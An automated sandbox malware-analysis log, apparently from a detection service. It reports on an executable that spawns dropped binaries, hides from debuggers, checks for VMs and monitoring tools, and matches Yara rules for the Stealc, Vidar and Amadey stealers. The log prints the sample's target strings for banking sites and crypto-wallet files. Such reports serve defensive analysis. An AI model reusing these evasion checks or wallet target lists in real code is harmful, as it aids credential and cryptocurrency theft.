Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2679411432.0000000000D42000.00000040.00000001.01000000.00000003.sdmp, DocumentsBFHDHJKKJD.exe, 00000016.00000002.2764875490.00000000005B9000.00000040.00000001.01000000.0000000B.sdmp, DocumentsBFHDHJKKJD.exe, 00000016.00000000.2665531240.00000000005B9000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000000.2724364645.0000000000729000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2776825848.0000000000729000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3396321098.0000000000729000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000000.3226069986.0000000000729000.00000080.00000001.01000000.0000000E.sdmp, DocumentsBFHDHJKKJD.exe.0.dr, skotes.exe.22.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2680544116.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: JECBGCFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DocumentsBFHDHJKKJD.exe, 00000016.00000003.2688908442.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: JECBGCFH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: JECBGCFH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: skotes.exe, 00000019.00000002.3400886451.0000000001278000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH[-
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2680544116.00000000011E2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3400886451.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DocumentsBFHDHJKKJD.exe, 00000016.00000003.2688908442.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: JECBGCFH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: JECBGCFH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: JECBGCFH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: JECBGCFH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: JECBGCFH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: JECBGCFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: JECBGCFH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: JECBGCFH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DocumentsBFHDHJKKJD.exe, 00000016.00000003.2688908442.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: JECBGCFH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: JECBGCFH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: JECBGCFH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JECBGCFH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: JECBGCFH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2679411432.0000000000D42000.00000040.00000001.01000000.00000003.sdmp, DocumentsBFHDHJKKJD.exe, 00000016.00000002.2764875490.00000000005B9000.00000040.00000001.01000000.0000000B.sdmp, DocumentsBFHDHJKKJD.exe, 00000016.00000000.2665531240.00000000005B9000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000000.2724364645.0000000000729000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2776825848.0000000000729000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3396321098.0000000000729000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000000.3226069986.0000000000729000.00000080.00000001.01000000.0000000E.sdmp, DocumentsBFHDHJKKJD.exe.0.dr, skotes.exe.22.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2680544116.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA
Source: JECBGCFH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: JECBGCFH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 22_2_04C0027B Start: 04C00498 End: 04C002AC

22_2_04C0027B

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 22_2_04C00DE4 rdtsc

22_2_04C00DE4

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 22_2_04C00D79 LdrInitializeThunk,

22_2_04C00D79

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C685FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C685FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C68C410

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003F652B mov eax, dword ptr fs:[00000030h]	22_2_003F652B
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003FA302 mov eax, dword ptr fs:[00000030h]	22_2_003FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0056A302 mov eax, dword ptr fs:[00000030h]	23_2_0056A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0056652B mov eax, dword ptr fs:[00000030h]	23_2_0056652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0056A302 mov eax, dword ptr fs:[00000030h]	25_2_0056A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0056652B mov eax, dword ptr fs:[00000030h]	25_2_0056652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C65B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C65B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5032, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBFHDHJKKJD.exe "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2679411432.0000000000D42000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: <Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65B341 cpuid

0_2_6C65B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6235A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6235A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_00572517 GetTimeZoneInformation,

25_2_00572517

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsBFHDHJKKJD.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2764196524.00000000003C1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3394542986.0000000000531000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2776183786.0000000000531000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2678974708.0000000000971000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2136155078.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2680544116.000000000116E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5032, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5032, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2680544116.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia 